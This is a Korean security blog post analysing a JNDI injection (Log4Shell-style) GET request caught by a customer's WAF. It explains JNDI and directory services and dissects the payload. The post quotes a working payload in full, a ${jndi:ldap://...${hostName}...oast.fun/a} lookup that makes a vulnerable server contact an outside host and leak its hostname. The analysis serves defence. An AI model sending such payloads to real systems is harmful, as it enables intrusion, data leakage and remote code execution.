JNDI 인젝션

특정 고객사 WAF에서 아래와 같은 GET 요청이 탐지되었는데 흔한 Directory Access나 SQL Injection 등이 아닌 조금 생소한 로그가 확인되어 찾아보았다. 

 

GET /?x=${jndi:ldap://${:-660}${:-233}.${hostName}.uri.cpbh1r5t4s1er8ongei0f3obhbiij7xxt.oast.fun/a} HTTP/1.1

 

이 요청은  /?x=... 부분에 잠재적으로 악의적인 페이로드가 포함되어 있다.

찾아보니 JNDI 인젝션 공격을 시도하는 것으로 보이며, 이 공격은 서버 측에서 JNDI 룩업을 수행하게 하여 공격자가 제어하는 서버에 연결하려고 시도한다. 이를 통해 원격 코드 실행 등의 악의적인 행동을 수행할 수 있다.

 

로그 분석에 앞서 JNDI가 뭔지부터 알아야 한다.

 

 

JNDI

자바 애플리케이션에서 디렉터리 서비스와 상호 작용하기 위한 API이다.
디렉터리 서비스는 네트워크 상에서 이름을 기반으로 객체를 찾고, 저장하고, 검색하는 기능을 제공한다.

JNDI는 이러한 디렉터리 서비스와 통신할 수 있는 통일된 인터페이스를 제공하여, 다양한 디렉터리 서비스 (LDAP, DNS, NIS, RMI, CORBA 등)와 상호 작용할 수 있게 한다.

Naming을 사용할 때 ${protocol:value} 이런식으로 Binding 되기 때문에 공격의 페이로드가 ${ldap:} 이런식으로 출력된다.

 

 

디렉터리 서비스에 대해 생소할 수 있는데, '네트워크 상의 이름을 통해 관리하고 조회할 수 있도록 하는 시스템'인 DNS를 생각하면 된다.

DNS는 도메인 이름, IP 주소, 메일 서버 정보 등 주로 네트워크와 관련된 데이터를 저장하는데, 이름을 기반으로 한 자원 조회와 계층적 데이터 구조가 디렉터리 서비스의 주 역할이다.

 

이름 기반 자원 조회

사람이 읽을 수 있는 도메인 이름 www.어쩌구.com 을 IP 주소인 xxx.xxx.xxx.xxx로 변환한다.


계층적 데이터 구조는 아래와 같다.
최상위 도메인(TLD): .com, .org, .net 등 루트 도메인 아래에 있는 도메인
2차 도메인: 어쩌구.com과 같이 TLD 아래에 위치한 도메인
호스트 이름: www와 같이 2차 도메인 아래에 있는 호스트

 

 

 

로그 분석

 

GET /?x=... HTTP/1.1
HTTP GET 요청으로, URL의 쿼리 파라미터 x에 특정 값을 전달하고 있다.


${jndi:ldap://...}

${}

일반적으로 변수를 감싸는 구문으로, 서버가 이 문자열을 처리할 때 내부적으로 변수 치환을 시도할 수 있다.


jndi:ldap://...

JNDI (Java Naming and Directory Interface) 룩업을 수행하도록 한다.

여기서 ldap://는 LDAP(Lightweight Directory Access Protocol)을 사용하여 네트워크 상의 디렉토리 서비스에 접근하려고 한다.


${:-660}${:-233}.${hostName}.uri.cpbh1r5t4s1er8ongei0f3obhbiij7xxt.oast.fun/a

${:-660} ${:-233}

기본값으로 설정된 변수를 나타낸다.

:- 구문은 변수가 정의되지 않은 경우 뒤의 값을 사용하게 한다.

여기서는 660과 233이라는 값을 사용하고 있다.


.${hostName}.uri...

hostName 변수를 포함한 도메인 이름이다.

서버가 이 요청을 처리하면서 hostName 변수를 실제 호스트 이름으로 치환할 수 있다.


cpbh1r5t4s1er8ongei0f3obhbiij7xxt.oast.fun

공격자가 제어하는 도메인일 가능성이 높다.


/a

해당 도메인의 특정 경로를 나타낸다.


전체적으로 이 요청은 JNDI 인젝션을 통해 서버가 ldap://660233.hostName>.uri.cpbh1r5t4s1er8ongei0f3obhbiij7xxt.oast.fun/a에 접속하게 만들려는 시도이며, 이를 통해 공격자는 서버의 정보를 탈취하거나 원격 코드 실행을 유발할 수 있다.

'업무' 카테고리의 다른 글

Option 메소드  (0) 2024.07.13
로봇 배제 표준  (0) 2024.07.13
X-Forwarded-For(XFF)  (0) 2023.11.30
에러코드 정리  (1) 2023.11.30
Predictable Resource Location  (0) 2023.11.30